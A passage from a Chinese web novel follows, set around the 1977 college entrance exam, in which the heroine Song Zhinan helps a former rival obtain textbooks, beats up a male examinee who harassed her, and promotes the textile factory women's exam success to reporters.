江茶怕宋知南不明白,特意补充一句:“他之前的精神病是假的,是为了逃脱刑事责任,也为了给顾家一个交代。” 宋知南说:“我知道,你接着说。” 江茶的目光看向远处:“你知道霍峥嵘老家的情况吗?他的老家在江南省西部一个十分偏僻的山村,周围大山环绕,风景优美,空气清新。同样的的,那里交通十分闭塞,人们的思想十分落后。你能想像吗?都解放二十多年了,他们村里竟然还有人溺死女婴,不是一个两个,是很多人。” 宋知南点头:“我也听说过。” 江茶的语气陡然变得激切起来:“我亲眼见过河里飘着婴儿的尸体,我们隔壁的嫂子连生四个女孩,第五个还是女孩,他们直接把刚出生的孩子扔到尿桶里。我跟另一个女知青急忙把孩子抱了出来,用温水把她洗干净。她还朝我们笑,我们俩看着她的笑脸,忍不住哭了。” “后来,我们把那个孩子抱回知青点养着,一个嫁到本地的知青大姐收养了那个孩子,那个孩子名叫念青,现在四岁了。” 宋知南看着江茶:“没想到你还有善良的一面。” 江茶神色平静下来:“我一直觉得我是个善良的人,只是你喜欢跟我作对罢了。” 宋知南微笑着说:“这不重要,反正你释然了,我也无所谓了。你接着说,我对你的故事很感兴趣。” “……那里有很多跟我一样的知青,有男有女。刚开始我跟那些女知青来往不多,因为我以前总觉得女人之间相处太麻烦,不像男人那样爽朗大气好相处。 后来,我被霍峥嵘折磨毒打的时候,只有女知青肯帮我。有的男知青倒是有心想帮,但谁帮我,霍峥嵘就说谁跟我有私情,那些男知青吓得离我远远的。 而那些乡亲们则是一边看笑话一边说霍峥嵘终于像个男人了,打我打得好。我当时呼天天不应,叫地地不灵。最后逃到女知青宿舍里,大家接纳了我,还一起帮我挡住门。 那一刻,我真的无地自容。后来我搬回了女知青宿舍,我们越来越团结,因为在那个吃女人的地方,我们不团结就活不下去。我们从来都是集体行动,从来不敢落单,一旦落单,后果就不堪设想。” “后来,我救了一个差点被拐到深山的女生,大家对我更加喜欢和信任。 我有了很多朋友和姐妹,还拜了几个下放到那里的知识份子当老师。她们关心我爱护我理解我,以前都是我关心理解别人。因为这段经历,也因为她们,我对于男人的爱就不那么在意了。 其实仔细想想,他们的爱多可笑啊。他们真的爱过女人吗?从来没有,顾朝华也好,霍峥嵘也罢,他们最爱的从来都只是自己。他们根本不懂得爱不懂得尊重女人。当他们意气风发、生活无忧或者闲得无聊时,他们愿意宠着你哄着你,就像对待一只宠物;一旦他们跌落低谷,他们就会原形毕露,他们变得暴虐堕落,疑神疑鬼、胡乱猜疑。 不是我不想跟霍峥嵘共患难,而是我根本无法跟他相处。当我受不了霍峥嵘想要离开他时,他就发动周围所有的人一起攻击我辱骂我,说我嫌贫爱富,说我想另攀高枝,还说我早已是他的人已经不干净了……” 江茶说到这里忍不住抹了一下眼泪:“我真的难以想像,一个男人可以对曾经的恋人恶劣到这种地步。” 宋知南对霍峥嵘的变化毫不惊讶。有句话是这么说的,女人以为她的男人跟别的男人不一样,其实她错了,他们都一个样。 男人以为他的女人跟别的女人都一样,其实每个女人都不一样。 宋知南插问了一句:“你看清了霍峥嵘的真面目,所以跟顾朝华联手弄死了他?” 江茶急忙否认:“不是我,我没有。是霍峥嵘自己掉进河里淹死的,跟我没关系。” 宋知南笑笑:“是不是你干的,一点都不重要。我是不可能告发你的,我只会佩服你,你终于找到了自我。” 江茶只能沉默。 宋知南:“江茶,你的配置其实是女主角,你就应该光芒四射,大杀四方。现在的你终于有了一点女主角的样子。加油吧,利用你的本领去谋取前程,你一定会前途无量的。” 江茶怔怔地看着宋知南:“咱俩这种关系,你还鼓励我?你不怕我获得更高的位置后会报复你?” 宋知南朗声一笑:“没事,不怕。再说了,真发生了,那多有意思啊。我这枯燥平淡的人生正需要一点刺激。” 江茶观察着宋知南的神色,试探道:“我有一个问题一直想问你。” “提问是你的权利,但回答与否是我的权利。” “我想问的是,你是不是能提前预知一些事情,所以才能事事抢先?取得最后的胜利?” 她以前能断断续续地在梦里预知一些事情,只是这几年连梦也变少了,有时顶多是一些碎片,她猜测宋知南可能也有类似的能力。 宋知南一脸高深莫测,“我之所以能取得最后的胜利,是因为我有两个法宝。” 江茶赶紧补充一句:“你放心,我会保守秘密的。” 宋知南说:“哎呀,也没有什么可保守的,这个法宝人人都有,那就是双手和大脑。” 宋知南:“你就说,是不是吧?” 江茶哭笑不得:“是,当然是。” 宋知南暗笑,她的秘密只能她知道,任何人都不可能告诉,又怎么可能会告诉有过过节的江茶,她是活得不耐烦了吗? 江茶不禁笑了,以宋知南那狡猾的性子怎么可能把自己的大秘密告诉自别人? 她自嘲道:“我们女孩就该像你这样,我以前太傻了,太容易轻信别人。” 在梦里她把自己的大秘密告诉了霍峥嵘,多可怕呀,以霍峥嵘的秉性对她起了杀心怎么办? 虽然在梦里她跟霍峥嵘一直和和美美,但她见过霍峥嵘最恶劣的一面,再想想梦里的情景,她不寒而栗。 宋知南一针见血:“你不是轻信别人,你那时候只信男人。你把你的秘密告诉你的母亲姐妹和闺蜜了吗?没有吧,你应该只告诉了霍峥嵘。” 江茶惭愧地低下头,没接话。 宋知南拍拍江茶的肩膀:“姑娘,好好努力吧。我们以后应该不会再见了,但我相信,我会永远留在你的心里,因为我是你的大贵人,我是来渡你的。” 江茶忍俊不禁:“谢谢你,宋大贵人。” 宋知南潇洒地朝江茶挥一挥手,不带走一片云彩,想带也够不着,她顺便折了一根柳枝。 “你等一下。” 江茶在最后关头,说出了自己此行的真正目的:“宋同志,我这次来是受知青们的委托,弄几套高中课本和复习资料。我现在没什么人脉了,课本我只弄了一套,这远远不够。 但我时间有限,后天就得回去,我实在没有办法,我知道你有本事,你办了夜校帮了很多女工。我能不能请你帮个忙,给我弄一套高中课本和一套复习资料,可能我这个前敌人的份量不值一套课本,你能不能看在那些女知青的份上帮个忙?她们真的迫切地想走出大山,想改变自己的命运。价格方面,我出双倍的价钱,再多我就出不起了。” 宋知南笑了一下,原来搁这儿等着她呢。江茶毕竟是江茶,倒是知道另辟蹊径。 她先用自己的故事勾起她的兴趣,等聊热乎了,再趁机提出要求。她是把先前用在男人身上的那套手法用在自己身上了。不过宋知南并不太反感。 她考虑片刻,爽快地答应道:“没问题,下午6点钟,你就在这里等着,我让我弟给你送过来。” 江茶诧异地看着宋知南:“你这就答应了?” “不然呢?” 江茶愣了一下,郑重地道谢:“谢谢你,其实你有很善良的一面。只是我以前不小心激发了你的黑暗面而已。” “你说得对,记得以后不要再激发它了,让它沉睡吧。” 宋知南临走前又想起一个问题:“对了,你怎么不找顾朝华要资料?你应该跟他有联系吧?” 江茶苦笑:“我不再是以前的我了,经历了这么多的事,我不敢轻易再问男人要什么,因为他们的每一丝付出都要收回更大的回报。我跟顾朝华之间的交易已经结束,后面不想再跟他有任何牵扯。他现在眼睛瞎了一只,下面坏了,他郁郁不得志,充满怨气,他就是第二个霍峥嵘。他也流露出想要我嫁给他的意思。用他的话说,他是残废我是破鞋,我们俩正好凑一对,谁也不嫌弃谁。可是,我还是嫌弃他。他处过十五个对象,都觉得自己风流而不下流,凭什么我只处过一个对象就是破鞋?” 认识这么久,宋知南第一次对江茶表达了佩服:“江茶,你不愧是茶中碧螺。我开始欣赏你了,这样,我再给你多弄一套复习资料,尽量让你那里的女知青都考出来。” 宋知南说完,迈着轻快的步伐离开了。 走在路上,宋知南陷入了深沉的思考当中。 果然,穿越的人一般是带着使命来的。要不然,为什么别人都不穿,就她穿了? 她宋知南的使命就是让更多的人迷途知返,让该上路的人早点上路。她是灵魂摆渡人,是阎王的好帮手。 第125章 下午6点钟, 宋知南让宋冬宝给江茶送来两套高中课本和两套复习资料。 江茶抚摸着课本的封面,激动得热泪盈眶。终于把课本和资料弄到手了, 她没有辜负姐妹们的委托。 江茶拿出一大把零钱给宋冬宝,这些钱是知青们一分一毛凑出来的。 宋冬宝好奇地打量着江茶,说:“我姐说让你总共给10块钱就行了,这是成本价,不赚你的钱。” “这么便宜?” “嗯,我姐说你们太穷了,多留点钱在身上比较方便。” “好的,替我谢谢你姐。” 江茶数了十块钱给宋冬宝。 宋冬宝回去后疑惑地问宋知南:“姐,你跟那个江茶不是不和吗?为什么要帮她呢?” “这叫相逢一笑泯恩仇。我们女人一般都讲义气又大气。” 宋冬宝差一点脱口而出:“没听说过。” 但他话到嘴边又拐了个弯:“姐你说得对,我也这么认为。你们女的可不像男的那样小心眼。” 宋知南欣慰地看着宋冬宝:“冬宝,你不愧是我弟, 觉悟越来越高了。我得给你点奖励, 这样吧, 等我俩考上大学,咱们去饭店大吃一顿。” 宋冬宝满脸笑容:“行。” 第二天上班时, 宋知南收到了一个包裹, 是李群英寄来的最新复习资料和一封信。 信中说今年高考政策规定考生年龄不得超过30周岁,她今年35了,不符合参加高考的条件,她很遗憾。好在她因为以前发表过文章,找到了一份杂志社的工作。那份杂志在大运动中被迫停刊,现在正准备复刊,杂志准备改名, 等正式确定下来她再写信告诉她,希望到时能找她约稿。 宋知南把资料拿给何黛:“这份资料咱们这儿没有。你去油印十几份, 你、无双、翠花姐的大女儿、陆诗月、吴明珠、边月她们各一份。其他女工谁想要,让她们自己去抄去印。” 何黛大致翻看了一下资料,诧异道:“南姐,这份资料很珍贵,你就这么轻易地给我们了?咱们可是竞争对手?” 宋知南轻笑道:“我的竞争对手是全省乃至全国的考生,不差你们几个。我希望咱们大家都能考上。” 何黛愈发钦佩宋知南,南姐就是大气。 吴明珠和陆诗月收到资料后,也把自己的资料印了一份送过来当回礼。 宋知南抽空给李群英回了封信,让她随时关注考试方面的消息,国家既然恢复高考了,以后说不定还会有电大、成人大学可上,她建议她尽力提升一下学历,对她以后的工作也有帮助,至于约稿的事,等她考完试再说。 宋知南去寄信时,何黛一看是往首都寄的,忍不住开始八卦起来:“哎,群英有没有跟你说,她的婚姻生活过得咋样啊,肯定很幸福吧?” 宋知南:“她没说,应该还可以吧。” 她和李群英有太多话题聊,文学、写作、读书、个人和国家前途、妇女工作等等,她们很少谈论李群英的丈夫,宋知南只知道他的名字叫钟山,人还行,至少现在看着还行,长得不错,挺讲礼貌,其他的没了。 何黛有些不解:“我咋觉得你俩都没把李姐夫当回事,说起他这么轻描淡写。” 宋知南笑着说:“那不然呢?天天谈论他?我以后对你的爱人也是这种态度。” 何黛假意打了宋知南一下,“讨厌,一边去。” 回完信后,宋知南开始跟着大家伙一起复习。她仍按照以前的节奏,早睡早起,努力学习。 纺织厂的那些女工们比她用功多了,她们是争分夺妙地学习。她们白天要上班,有的还要做家务带孩子,时间都是靠要硬挤出来的。 她们的家里人明面上不敢反对,但私下里搞小动作的也有不少,比如趁你学习时喊你干活,故意打断你,或者让孩子去你找闹你。 这些女工们苦不堪言,她们很多人下班后便到厂里的礼堂和会议室里看书。 天气越来越冷,她们穿着厚厚的棉衣甚至裹着被子,瑟瑟发抖地背书做题。 男工们搞事未遂,现在也老实起来了,毕竟留给他们的时间不多了,一分一秒都得珍惜。 这时候,他们觉察到女工们的基础比他们扎实得多,这些人便厚着脸皮向女工们请教。 有些女工懒得搭理他们,也有些脸皮薄的女工耐不住男工们的软磨硬泡,偶尔也会指点一下他们。 今年的高考是先报志愿再考试。 宋知南第一志愿想报北大,不过很快她自己就冷静下来了。 她前世的妈有一个朋友就是77级大学生,她挺爱回忆当年的峥嵘岁月,曾说七七年北大中文系在河东省只有一个招生名额。 “那一个人就不能是我吗?” 这个念头一起来,张雪峰老师的灵魂质问在耳边响了起来:“你家祖坟着了?” 她们宋家的祖坟没着,她还是换一个学校吧。河东大学,略过。河西大学还不错,曾经的重点,后来的985,中文系也是河西大学的王牌专业。 宋知南的第一志愿就填了河西大学中文系,第二志愿是河东大学,第三志愿是河东师范。 宋知夏这段时间一直跟着妹妹复习,信心有点,但不多。 她的第一志愿是河东师范,为了保险,她后面的两个志愿填的都是师专。 时间过得飞快,1977年的高考在大家的一片哀嚎中来了。 12月9日10日是考试时间。 考试前一天,大家沮丧、紧张、忐忑,还有人原地发癫。 宋知南应大家之邀做了一次考前总动员,她长话短说:“同志们,明天就要考试了,你们记得拿好准考证,带好笔,尽量多带几支。别紧张,你们觉得自己没准备好,别人也没准备好,放松一点,自信一点。如果控制不住自己就是紧张,那也没关系,紧张也是正常的。大家晚上早点睡,别熬夜了,不差这一时半会的。如果有人失眠也不要太当回事,咱们年轻,一宿不睡也没什么,一点也不影响考试。” 失眠这玩意儿,你越把它当回事,它越干扰你。人的心里暗示非常重要,你要是觉得自己一宿没睡好,考试全完了,那就真的完了。 大家认真地听着宋知南的话,尽量把每一个字都记在心里。 就连那些平常总是看不惯宋知南的男工们此时也是安安静静,对她态度相当恭敬。 宋知南的讲话很短,大家都没听够。他们也知道时间宝贵,倒也没缠着她继续讲。 动员会结束后,大家一边热烈讨论着一边往外走。 “宋主任这么一说,我的紧张缓解了不少。” “我每逢考试必失眠,本来担心得要死,宋主任一说,我也不担心了。不就一宿不睡嘛,怕个头。” “宋主任真是咱们的福星,我要是考不上,我不觉得对不起我爸妈,我就觉得对不起宋主任。” “为啥不觉得对不起你爸妈?” “我爸妈自己都承认把我生得太笨了,我的脑子就随他们。” “噗,你爸妈还挺有自知之明,我爸妈说我笨是我自己不行,他们可聪明了。” “哈哈哈。” 大家有说有笑的,气氛变得轻松不少。 宋知南和宋知夏回去后,宋冬宝已经做好一桌菜等着她俩。 “哇,冬宝的厨艺越来越好了。” 两人一起夸,宋冬宝笑得嘴都快咧到耳朵后面了。 三人一边吃饭一边闲叙,尽量聊些轻松的话题。 宋冬宝又开始愁上了:“二姐三姐,你们以后都去上大学了,就我一个人可怎么活呀。” 他长这么大,从来没有独自生活过。 宋知南说:“冬宝,你也该学着独立生活了。自己一个人特别自在,你试试就知道了。” 宋冬宝根本不想试,他害怕孤单,就想一直跟姐姐生活在一起。 宋知夏安慰道:“没事的,我们寒暑假都会回来,邻居们也会照顾你的。” 宋冬宝虽然不舍但也没别的办法。 三人吃完饭,宋冬宝去收拾碗筷,宋知夏和宋知南洗漱泡脚,整理好明天考试要带的东西后,早早上床睡觉。 次日清晨,天气阴冷,北风呼啸。 大家顶着凛冽的寒风,裹得跟只熊似的进了考场。 宋知南被分在了第一考场,地点就在青阳一中。章无双何黛等人也分到了这个考场。宋知夏被分在青阳二中,其他人分散在市里的各个考场。 大家在考场前揣着手跺着脚,来回走动取暖,嘴里念念有词,边走边背知识点。 分到这个考场的纺织厂女工一看到宋知南,就不由自主地向她聚拢过来。 “宋主任来了。” “今天的风好大呀。” 宋知南笑着说:“这风是个好兆头,‘大鹏一日同风起,扶摇直上九万里。’咱们这帮人要起飞了。” “还真是哎,咱们这次绝对能考上。” 其他考生:这人可真会说话,要飞大家一起飞吧。 等了十来分钟,学校大门开了,大家陆续进场。 上午考语文,试题比较简单,作文题目是《难忘的一天》,宋知南就写了自己收到邓大姐回信的那一天,你就说难忘不难忘? 宋知南做题做得飞快,写起作文来也是一气呵成。监考老师路过她身边时,不由得停下脚步多看了她几眼。 宋知南提前半小时交卷,一路快步走回家。 她一到家,就闻到一股炖肉的香味。 “冬宝,你去割肉了?” 宋冬宝围着白围裙出来说道:“姐,肉是大伯母和大姐送的,说要给你俩补脑子。还有啊,那个李群英她妈也送来一条炸鱼,咱晚上再吃吧。” “大姐人呢?” “把东西送来就走了。” “哦。” 宋知南到家半小时以后,宋知夏才回来。 她表情沮丧:“三妹,我好像考砸了。” “你的基础在那儿砸不了,没事,今天中午有好吃的,咱们好好补补脑子。” 宋知夏想跟她对答案,宋知南拒绝,对完答案她没准更沮丧。 他们正准备开饭,邻居们纷纷上门送吃的,王大爷送来两个鸡蛋,赵大妈送来两个白面馒头,魏芬送来一盘饺子,其他人都有表示。 宋知夏客气道:“这多不好意思,让你们破费了。” 赵大妈笑吟吟地说:“哎哟,你们俩要是能考上大学,就为咱们院里争光了。” 王大爷抢过话:“是啊,你俩多争气啊。特别是小南,人能干又善良还不摆架子,对咱们这些老邻居们那叫一个平易近人。我以前就总说你是干大事的料,果然被我说中了吧。” 众邻居一齐看向王大爷,欲言又止,想揭穿吧,又怕同时得罪了宋知南,他们只得点头附和:“老王说得对,小南这孩子从小就不一般。” 邻居们也不打扰姐弟三人吃饭,说了几句就离开了。 他们一离开,宋知夏忍不住笑了,“他们刚才忍得多辛苦。” 宋冬宝又长了见识:“原来,邻居们的评价是能改的。” 他姐什么名声,他不清楚吗? 以前私下里议论姐姐的也是这些邻居,现在他们突然间口风就变了。人,真是一种奇怪的生物。 宋知南一脸淡定:“这才哪儿跟哪儿,等咱们考上大学再做出一番事业,这些人的口风更得变。这就叫什么‘自有大儒为我辩经。’当坏人就是好,放下屠刀立地成佛,好人成佛,那得经过九九八十一难,后面出点岔子,大家还笑话你晚节不保。” 你要是没节操,就不用担心晚节保不保的事了。 宋知夏顿悟了:“所以人一定要成功。成功了,你都不用装。” 她以前真是瞎子点蜡白费劲,压抑着自己的性子装好姑娘,有个屁用。 宋知夏重新燃起了斗志:“三妹,赶紧吃,吃完饭咱们眯20分钟。我想好了,今年考不上,我明年接着考,没啥大不了的。” 她是要奋斗一辈子的,不差这一年两年的。 宋知南打了个哈欠:“行,我回屋去睡了,我定好闹钟,冬宝你也看着时间,到点叫我们。” 宋知南很快就睡着了,还做了个梦,梦中她变成了一只浑身着火的凤凰,正在翱翔九天,突然一只长着翅膀的老虎扑到她身上,压得她翅膀耷拉下来。 宋知南猛然惊醒,一看是小虎正趴在她胸口睡觉。 宋知南把她扒拉到一边,“你不知道自己有多重吗?压得我喘不过气来了。” 宋知南一起来,宋知夏也醒了,她一改上午的沮丧,浑身充满斗志:“收拾好了没?走。” 两人神采奕奕地出了院子。 王大爷赵大妈他们正在小声议论:“瞧两人这表情上午一定考得不错,哎哟歪,不是说宋家祖坟的风水不好吗?这瞧着也不像啊。” 有人神秘兮兮地说:“祖坟影响的是男丁,宋家凡是男的都不行,女的都行。” “你说得对,还真是的。” 宋知南不知道的是,邻居们在集体修改了关于她的记忆后,又开始改他们宋家祖坟的风水了。 第126章 下午考的是数学, 宋知南仍然觉得题不难,做题依旧飞快。 她正在埋头做题, 后面的男生时不时地用脚踢她的凳子,宋知南头也不抬,逮着机会,狠狠踩了他一脚,男生猝不及防地叫出声来。 监考老师严厉地说:“那位男同学,你乱叫什么?注意考场纪律。” 男生指着宋知南说:“老师,前面的女同志故意踩我。” 监考老师居高临下,刚才也注意到了男生的小动作,严厉地警告道:“好好做自己的题,不要搞小动作,作弊的后果很严重。” 男生小声嘟囔了一句, 继续做题。 宋知南视他如无物, 不回头不回应, 只顾埋头做题。男生看得更气,心说, 你跟我等着。 宋知南还是提前半小时出考场, 后面那个男生也出来了。宋知南是做完了,那个男生是不会做。 男生一看宋知南是独自一人,眼珠一转,便悄悄地跟了上来。 宋知南走了几步,发现自己被人跟踪了。 呵,这是看她坐了几个小时,想让她活动活动手脚是吗? 她引着男生往偏僻的巷子走去。 男生一看周围人少, 一个箭步冲上去,堵在宋知南面前, 扬着下巴说道:“这位同学,你的胆子很大呀,竟然敢踩我,你就说怎么办吧?” 宋知南思考片刻:“刚才我踩的是你的右脚吧,那好,我现在就把你全身都踩了。” 她话音一落,飞起一脚踹向男生的双腿之间,男生嗷地一声惨叫,宋知南趁他蛋疼分心时,冲上前一把抓住他的棉袄领子,用力往地上一掼,再翻身骑在他背上,摁在地上哐哐狂揍,揍完一顿,再起身用脚踩,踩够了也不恋战,拔腿就跑。她还得回家吃饭呢。她这一整套动作宛如行云流水,没有一个多余的动作,用时不到3分钟。 宋知南打了后桌的男生一顿也没放在心上,也没跟宋冬宝和宋知夏提。 下午的数学,宋知夏感觉比上午还差,语文她好歹做完了,数学有好几道大题都没做。 她沮丧中带着坚强,先崩溃再自愈。 宋知南简单安慰了她几句:“你不行别人更不行,好多人都没做完。吃饭,不要影响明天的考试。” “嗯,我没事。这次就当为明年的考试积攒经验。” 最坏的结果不就是落榜吗?她承受得起。反正现在她自己的事自己做主,她想考几年就考几年。宋知夏底气十足。 她发现自己不知从什么时候开始,就不那么怕犯错了。以前打碎一个碗都觉得天要塌了,现在把锅砸了,她也觉得没什么。 邻居们看着宋知南和宋知夏都是一副云淡风轻的模样,愈发坚定上午的猜测:这俩姑娘肯定能考上。 投资,必须得加大投资。提前送温暖比锦上添花要好。 他们又开始送吃的,赵大妈送了一大碗手擀面,还卧了俩鸡蛋。 王大爷一狠心送了三个咸鸭蛋,刘大爷一咬牙送了块腊肉。 魏芬直接送来了一只小公鸡。 众人:“你是不给我们活路呀。” 魏芬的爱人洪长山百般不乐意:“你可真大方,好不容易弄来两只鸡,你倒好,送你娘家一只,又送隔壁一只,我们一家四口吃鸡毛?” 魏芬:“你懂什么?咱们以后有的是机会吃,小南和小芳她们考试费脑子,就得好好补补。” 洪长山冷笑道:“我弟今年也参加高考,你咋就没想到要给他补补呢。” 魏芬还真忘了婆家弟弟高考的事了,她一点也不愧疚:“那么老远,我怎么给他补?再说了,你爸妈肯定想着法子给他补营养。” 洪长山阴阳怪气道:“你等着吧,隔壁那俩一考上大学,肯定不会搭理你这个邻居的。” 魏芬才不信:“小南绝不是那种人。” 宋知夏看着大家伙送来的东西,有些犯愁:“怎么又送这么多?还有芬姐送来的公鸡,是不是太贵重了?” 宋知南想了想说道:“既然送来了就收下吧,咱俩要是考上了,就办个升学宴,宴请他们一次算是回礼了。鸡肉就炖了吧,分给魏姐一半。” “行,就这么着。” 今天的晚饭相当丰盛,有鸡有鱼有面,魏芬家也分到了半锅小鸡炖蘑菇,两个孩子吃得不亦乐乎。 小婵小娟一边吃肉一边说:“我以后也要像南姨一样,当干部考大学。” 洪长山轻笑一声,魏芬瞪了他一眼,洪长山只能把话咽下去,没敢给孩子泼冷水。 第二天开考前,宋知南被后桌的男生告了,理由是宋知南殴打他,影响了他的考试,他请求监考老师取消宋知南的考试资格。 宋知南冷静地问道:“你说我打你了?证据证人呢?” 男生叫嚣道:“证据就是我身上的伤。” “你把衣服脱了让大家看看伤在哪里?就算你真有伤也不能证明就是我打的,还得要证人哦。” 宋知南看向两位监考老师:“两位老师,你们觉得我这种文静老实的女生会动手殴打一个男生吗?” 其他认识宋知南的考生悄悄对视一眼,立即出来作证:“就是,宋同志特别老实,从来没动手打过人,这人纯粹是污蔑。” 监考老师是从外地调来的,并不认识宋知南,他们单从她的外表和昨天的表现来看,觉得这个女同志很守考场规矩,做题又快又好,以前在学校里应该是个品学兼优的好学生,他们对这种学生有天然的好感。 “这个男同学你叫什么名字?” “牛新星。” “牛同学,你是昨天作弊不成想报复宋同学是吧?你再扰乱考场秩序,我就把你往上报,一经查实,你不但这次考试资格取消,以后也没法参加考试了,你可要想清楚了。” 牛新星赶紧说:“老师,别上报,算了,好男不跟女斗,我不跟她一般见识。” 牛新星心里那个憋屈就别提了,那个女同志说她文静老实,她是咋说出口的?从她昨天打人的熟练程度来看,她绝对经常打架。这是什么世道?这人颠倒黑白、混淆是非,偏偏那些人还信她。 最可气的是,两个监考老师盯上他了,时不时地来他身边转悠一圈。想作弊根本不可能,想搞小动作又不敢。 第二天的考试平静无波地过去了。 考场外哀鸿遍野:“我这次完了,肯定是考不上了。考的净是我不会的。” “大爷的,明年再战吧。” “那些知识点我一出考场全都想起来了。” …… 纺织厂的女工比别人平静多了,她们虽然也有遗憾,但更多的是庆幸,幸亏她们上了几个月的夜校,很多知识点南姐都讲过,那些老教师也讲过一些。 “南姐,你有空不?我们想请你吃饭。” “宋主任,我也想请您。” 宋知南微笑摆手:“不急,等通知书下来再说。大家回去好好休息。” 她们刚要离开,就看见牛新星领着一帮男生大摇大摆地过来了。 “宋知南是吧,你有种别走,咱们该算帐了。” 在场的人一听有人要跟南姐算帐,行,那就算吧。 大家哗啦一下全围了上来,这些人大多是纺织厂的女工,也有少部分男工。 牛新星一看,好家伙,对面得有几十人吧。 宋知南挑眉:“牛新星,还打吗?” 牛新星吓得说话都结巴了:“我、我也没说要打呀,我就是喊你一声。” 宋知南像赶苍蝇似地一挥手:“又笨又怂的玩意儿,不打就滚。” 宋知南领着一大群人扬长而去。 牛新星站在原地疑惑发呆:“这个宋知南是什么人物,手下这么多人?” 有人好心提醒道:“你刚从外面回来?宋知南的名字你都没听说过?你再好好想想。” 牛新星想啊想啊,终于想起来了,这个宋知南是有些耳熟。 大家伙帮他一起回忆:“宋知南,又名宋一刀,宋钟,宋治男,专治疑男杂症,擅长针灸,动手能力强。打过王红兵,怼过军代表。本地一大祸害白继业,刚想整宋知南,没几天人就没了。你就说厉害不厉害吧?你还敢惹,不要命了。也就是宋主任现在长大了,人变得稳重仁慈了,要不然,你今天肯定得鸡飞蛋打、屁股开花。” 牛新星目瞪口呆,后背发凉。 考试结束后,有人欢喜有人愁,大多数人在忐忑不安地等待着结果。 半个月后,教育局通知一部分人去体检。有小道消息说,被通知体检的都是有可能考上的。没被通知到的人更加绝望。 令人兴奋的是纺织厂的女工竟然有三百人被通知去体检了。 更令人振奋的还在后头,刚进入一月份,陆续有通知书开始寄来。 “啊啊,我考上了。” “天呐,我也考上了。” …… 吴明珠和陆诗月考上了河东大学,宋知夏考上了河东师范学院,收到通知那天,宋知夏喜极而泣,她本来以为自己要落榜了,没想到啊,完全没想到。 宋湘考的稍差些,是青阳师专,但她也十分高兴。何梅和宋自强乐得合不拢嘴。王翠花的大女儿还有隔壁院里的梅小玲都跟宋湘一个学校。 好消息一波一波地传来,边月考上了河东政法大学。何黛章无双跟宋知夏一个学校。 宋知南的通知来得迟些,不出意外的是河西大学。 “哇,不愧是宋主任。河西大学可是好大学。” 宋知南所经之处,是哇声一片。 大学通知书成批成批地送到红星纺织厂,工人和领导们先是震惊最后是麻木。 记者们兴奋了。 胡记者第一个打电话到宋知南的办公室:“宋主任,你该不会忘了我这个老朋友吧?这么大的新闻,你都不通知我?” 宋知南笑道:“我不是觉得时机未到吗?我数了数才考上几十人,我觉得怎么着也得考上二百多人吧?” 胡记者咂舌:“你们一个纺织厂才多少人?你竟然觉得能考上二百多个?我的姐,你知不知道今年的竞争有多激烈?570万考生,只录取不到30万人,录取率4.7%。何况咱们河东省还是人口大省,竞争尤其激烈。” 宋知南微笑:“老胡啊,不信你等着瞧。” 胡记者等不及了,他放下电话收拾东西就跑来采访,必须抢先报道。 胡记者跑得快,其他记者跑得也快。 大家挤在纺织厂大门前,把宋知南的办公室围了个水泄不通。 大家争先恐后地提问: “宋主任,听说你从去年年初就开始办夜校了?” “夜校我早就开始办了,只是以前的权限比较低,自从当上女工委主任后,权限大了,能办的事就更多了。” “我们注意到,你们纺织厂考上大学的女工占大多数,你觉得这说明了什么问题?” 宋主任:“这说明,女同志更适合读书,更适合考大学。她们的脑子天生就好,有耐力又有爆发力,前劲足,后劲更强,任何时候都强。我敢肯定,以后的女大学生一定会一年比一年多,要不了多久就能超过男生。” 人群中出现了短暂的安静。 有人问道:“可是宋主任,我听说的跟你说的不一样。” 宋知南用十分笃定的语气说:“你听说的那些都是错的,只有我是对的。纺织厂出了几十名女大学生就足以证明我的话是对的。不信你们可以再等等,后面肯定还有更多女工考上。” 那个记者的杠瘾上来了:“可是……” 宋知南强硬地打断他:“你知道你为什么没能当上大记者和主笔吗?就是因为你的思想太因循守旧,太僵化了。天新地新思想更要新,人生如逆水行舟,不进则退。你知道胡为先胡记者吗?” “知道,同行。”今天他也来了呢。 “人家胡记者那思想真是一日千里,既有男记者的风格也有女记者的特点,他看问题完全超出了狭隘的纯男性视角,敢于质疑一切权威和老思想。只有这样的记者才是好记者,你们这些人都得向他学习。” 众记者:“……” 姓胡的那个杠头能被她吹成这样?不会是姓胡的□□宋知南了吧? 不可能,绝对不可能,就姓胡的那姿色,谁那么重口味呀。 人群中的胡记者听得老脸微红,这被人当众夸奖真是让人羞涩啊。 “好了,今天我的采访就到此为止吧,我建议你们采访一下这些考上的女工们,采访一下我们的贺主席,还有调到市妇联的杨主任,以及我们厂的各位领导们。我还建议大家伙过一个星期再来,到时还会有更爆的新闻。” 宋知南的话很快就见了报。 大家议论纷纷,充满怀疑。女同志更适合考大学?不可能吧?你要说不是,为什么纺织厂那么多女工考上了? 她夸胡记者的那番话也上了报纸,胡记者一看,心扑通扑通直跳。 他在宋知南心目的地位那么高吗? 他仔细一看,再稍稍一想,觉得这也很正常。他确实是思想独立还先进,领先同行几十年。唉,估计以后同行肯定会妒忌他。 胡记者午饭都没吃,用尽毕生之笔力把宋知南全方便地夸了一通。他们跟那些人不一样,不是商业互吹,他们是真心地欣赏彼此。 夸完宋知南还不够,她想起宋知南提起过她的两位领导,贺胜男和杨奋斗,必须得采访跟进。 杨奋斗听到有记者要采访自己都有些懵,再一听跟宋知南有关,便了然一笑,欣然接受了采访。贺胜男也跟杨奋斗差不多。 几天后,一篇人物专访:《奋进新征程,巾帼绽芳华》出现在《青阳日报》上。 这几天本地报纸被红星纺织厂给屠版了。有的人麻了,有的人酸了。 再开会时,谈书记吴厂长和孙副厂长都开始向宋知南抱怨:“小宋,这几天真把我们给累够呛,净应付这些记者了。” 宋知南:“累点好呀,别厂的领导想累都没机会,我听说隔壁厂的那谁天天黑着脸,一开口酸气冲天。” 孙副厂长矜持地笑道:“你说的是钢铁厂的刘厂长吧,他这人就是好面子。那么大一个钢铁厂考上的职工和家属还没我们纺织厂多。” 宋知南接着说:“现在谁不夸咱们红星,说领导班子思想先进,有大局观,肯替职工着想。我觉得这个夜校还是得继续办,明年高考,咱们要再接再厉,再创辉煌。东方不亮西方亮,我们虽然在产能福利方面比不上他们,但在升学率方面他们拍马也追不上。我听说青阳地方志已经考虑把咱们厂写进去了。”对方的确是在考虑,还是宋知南建议他们考虑的。 宋知南这一番话把在座的各位鼓动得热血沸腾,即便有人想泼凉水,也不敢破坏这个气氛。 宋知南鼓动完大伙,回家吃饭去了,晚饭吃的是肉饼。 